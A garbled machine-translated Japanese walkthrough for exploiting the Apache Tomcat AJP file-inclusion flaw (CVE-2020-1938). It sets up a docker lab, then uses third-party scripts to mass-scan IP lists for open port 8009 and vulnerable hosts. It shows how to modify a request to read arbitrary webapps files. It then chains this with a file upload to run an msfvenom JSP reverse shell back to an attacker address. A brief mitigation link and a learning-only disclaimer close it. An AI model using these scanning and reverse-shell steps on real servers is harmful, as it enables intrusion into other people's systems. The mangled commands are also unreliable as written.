1.バージョンに影響します
- Apache Tomcatの6
- Apache Tomcatの7 <7.0.100
- Apache Tomcatの8 <8.5.51
- Apache Tomcatの9 <9.0.31
2.再現
2.1環境の準備
影響を受けるのTomcatのバージョンを選択し、我々は画像を再現するためにドッカーハブ上のTomcatの公式バージョン9.0.30を見つけるためにここにいます
ドッキングウィンドウプルのtomcat:9.0。30 -jdk8-adoptopenjdk、ホットスポット
中容器にコンテナを実行した後にTomcatを/ usr / local /ディレクトリ、webappsディレクトリにwebapps.distの内容をコピー
ドッキングウィンドウの実行- RM -p 8009:8009 -p 8080:8080 -d tomcatに:9.0。30 -jdk8-adoptopenjdk、ホットスポット
アクセスポート8080かどうかは、Tomcatが動作してご覧ください
2.2準備ツール
次のリンクをご覧いただくか、githubの上で自分自身を見つけます
https://github.com/Kit4y/CNVD-2020-10487-Tomcat-Ajp-lfi-Scanner
2.3簡単なテスト
threading-find-port-8009.pyが開いているポートに8009のドメイン名やIPを見つけるために使用される、我々は、ドメイン名またはIPがip.txtに入れてスキャンします
threading-find-port-8009.pyが8009.txt生成されます実行した後、ip.txtオープンポート8009のドメイン名/ IPに保存
パイソンthreading- 見つける -port- 8009の.pyを
threading-CNVD-2020-10487-Tomcat-Ajp-lfi.py上映8009.txt最後vul.txt既存のドメイン名にvul.txtに配置された抜け穴のURL、に沿って、ドメイン名は、脆弱性が存在しています。
Pythonのスレッド-CNVD- 2020年までに - 10487 -Tomcat-Ajp-lfi.py
3.クロス読書
あなたがwebappsディレクトリ内の他のファイルを読みたい場合は、デフォルトのスクリプトは、ルートディレクトリにファイルを読み込むためのスクリプトに簡単な変更を加えることができます
唯一のwebappsディレクトリの下に読み取ることができるディレクトリの読み取り/ etc / passwdファイルやその他のファイルを横断し、ファイルを含めることはできません
クロス読書を実装することができます。例えば、我々はテストディレクトリにあるtest.txt読みたい「ASDF /」修正
_、データ= t.perform_request(' /試験/ ASDF '、属性= [
test.txtというファイルを入れて、テストのwebappsディレクトリの下に作成
このファイルは、変更したスクリプトで読み取ることができます
4.リバウンドシェル
サーバーのファイルアップロードの脆弱性が同時に存在する場合は、さらにシェルを取得することができます。レッツ・は、「/ ASDF」プラス「の.jsp」への後ろにスクリプトを変更します
_、データ= t.perform_request(' /asdf.jsp '、属性= [
攻撃者のアドレスが192.168.125.130である生成ペイロード、
msfvenom -pのjava / jsp_shell_reverse_tcp LHOST = 192.168。125.130 lportは= 4444 > shell.txt
リスニングを開始し、その後、ペイロードを設定します。
Webアプリケーションのルートディレクトリの下shell.txtプットした後、スクリプトを実行します。
シェルを取得
5.保護勧告
http://blog.nsfocus.net/cve-2020-1938/
声明
この記事では、唯一のセルフテストではなく不正な操作のために、学習の安全な交換のためです。この記事では、ユーザー自身の責任の使用により生じた直接または間接的な影響。
参考文献:
https://www.lstazl.com/tomcat%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab%e6%bc%8f%e6%b4%9ecnvd-2020- 1048 /
https://www.geek-by.xyz/2020/02/21/cve-2020-1938-apache-tomcat-ajp-wen-jian-bao-han-lou-dong/